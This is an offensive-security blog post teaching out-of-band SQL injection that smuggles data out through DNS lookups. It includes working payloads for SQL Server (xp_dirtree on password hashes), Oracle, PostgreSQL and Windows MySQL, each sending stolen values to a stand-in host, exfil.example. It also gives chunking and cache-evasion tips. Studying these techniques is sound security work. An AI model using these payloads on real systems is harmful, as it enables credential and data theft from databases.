0xFFFF

offensive security research

Out-of-Band SQL Injection: Exfiltrating Over DNS When There's No Output

2026-08-30

Blind injection has two classic channels. Boolean, where a true condition changes the page and a false one does not, and time-based, where a true condition sleeps and a false one returns immediately. Both work by asking one yes/no question per request and reconstructing the data a bit at a time. On a quiet target that is fine. On a target behind a rate limiter, a WAF that trips on SLEEP, or a network with enough jitter that a two-second delay is indistinguishable from a slow day, a bitwise extraction that needs thousands of requests is not a technique, it is a way to get your source IP blocked. When that is the situation we reach for a third channel: out-of-band.

TL;DR

If you can make the database server perform a name resolution you control, you can exfiltrate data in the hostname it looks up. Encode the value you want as a subdomain of a domain whose nameserver you own, force the DBMS to resolve <stolen-data>.exfil.example, and read the stolen data straight out of your DNS query log. One request carries a whole value instead of one bit, and it lands even when every HTTP response is byte-for-byte identical. The catch is that the primitive to trigger the lookup is entirely engine-specific, and one very common engine, MySQL on Linux, has no clean way to do it at all.

The Setup

You need three things: a domain, an authoritative nameserver for it that you can read the logs of, and an injection point that reaches a function capable of network or filesystem access. The nameserver is the only fiddly part, and you do not have to run BIND yourself. A listener like interactsh gives you a throwaway domain that logs every DNS interaction, which is exactly the read side of this. Point your payloads at the hostname it hands you and watch the queries arrive.

The reason DNS is the carrier and not, say, an HTTP callback is reach. HTTP egress from a database server is usually firewalled. DNS almost never is, because the resolver chain the box uses for everything else has to work, and a recursive resolver will happily walk the delegation all the way to your authoritative server on your behalf. The database does not even need to talk to you directly. It asks its configured resolver, and the query surfaces at your nameserver a moment later with the data intact in the leftmost labels.

The Payload, per engine

Every engine exposes this through a different function, and knowing which one the target runs decides whether you get anything at all.

Microsoft SQL Server. The reliable trigger is a UNC path. Any function that touches a file path will try to resolve the host in \\host\share, and that resolution is a DNS lookup. xp_dirtree is the workhorse:

-- subquery result becomes the hostname; SQL Server resolves it
DECLARE @d VARCHAR(1024);
SELECT @d = (SELECT TOP 1 CONVERT(VARCHAR, password_hash, 2) FROM sys.sql_logins);
EXEC('master..xp_dirtree "\\'+@d+'.exfil.example\x"');

The hex-converted hash rides in as the subdomain, SQL Server tries to list the directory, and to do that it first resolves the host. You never see the SMB attempt succeed and you do not care; the DNS query already fired.

Oracle. Oracle ships several outbound functions. UTL_INADDR.GET_HOST_ADDRESS resolves a name directly; UTL_HTTP.REQUEST fetches a URL; on locked-down versions the XMLType/SYSTEM-entity trick smuggles the lookup through the XML parser. The direct form:

SELECT UTL_INADDR.GET_HOST_ADDRESS(
  (SELECT user FROM dual) || '.exfil.example'
) FROM dual;

Post-11g these packages are ACL-restricted, so the newer engagements are where the XMLType path earns its place. The principle is identical: the value becomes part of a hostname and the DBMS resolves it for you.

PostgreSQL. Core Postgres has no name-resolution function, so this depends on what is installed. If dblink is present you can point a connection attempt at <data>.exfil.example and the connection setup resolves the host before it fails. With superuser and an untrusted PL, a language like plperlu or plpythonu gives you a socket outright. No extension, no channel.

Encoding, and the limits that bite

DNS is not a clean pipe. A single label is capped at 63 bytes and the whole name at 253, so you cannot exfiltrate a long value in one query and you cannot send arbitrary bytes. Hex-encode or base32-encode the data first; both stay inside the letters-and-digits that survive DNS, whereas raw base64 does not because of case-folding and the +/= characters. Then chunk. A hash goes out in one lookup, but a connection string or a row of PII needs to be sliced into label-sized pieces, each tagged with an index so you can reassemble them from the query log in the right order. We usually wrap the whole thing in a small loop on the DB side where the language allows it, and fall back to one indexed request per chunk where it does not.

One practical note that saves a wasted session: resolvers cache. If you send the same hostname twice, the second lookup may be answered from cache and never reach your nameserver, so it looks like the payload failed when it worked the first time. Salt every request with a unique counter label so no two lookups are identical, and cache never eats a result.

What Didn't: MySQL on Linux

This is the case people burn an afternoon on. MySQL has exactly one outbound primitive, LOAD_FILE, and it triggers a name resolution only when handed a UNC path, which only means anything on Windows. LOAD_FILE('\\\\<data>.exfil.example\\x') works against MySQL on a Windows host because the OS tries to open the SMB path and resolves the host to do it. On Linux there is no UNC semantics, LOAD_FILE just reads a local file, and there is no UTL_HTTP, no xp_dirtree, no dblink equivalent in core. Unless the injection runs as a user who can write and load a UDF, or the box is Windows, MySQL on Linux gives you no out-of-band channel and you are back to Boolean or time-based whether you like it or not. Do not spend requests confirming this the hard way; check @@version_compile_os first and move on if it says Linux.

Closing

Out-of-band is the channel to reach for the moment the response stops telling you anything and the clock is too noisy to trust, but it is the least portable of the three. Fingerprint the engine before you write a single payload, because the trigger on SQL Server tells you nothing about Oracle and neither of them helps you on a Linux MySQL box. When you do have the primitive, it is the fastest blind extraction there is: a value per query, straight into a log you control, past egress filtering that would have killed an HTTP callback. When the OUTFILE path is what you are actually after once you have the data, our SQL Injection to Web Shell notes pick up from there, and for the filter-level tricks that get any of these payloads past a WAF, the PayloadsAllTheThings SQL Injection collection stays open in a tab. PortSwigger's Web Security Academy has the labs if you want to build the reflex against a target that is supposed to be attacked.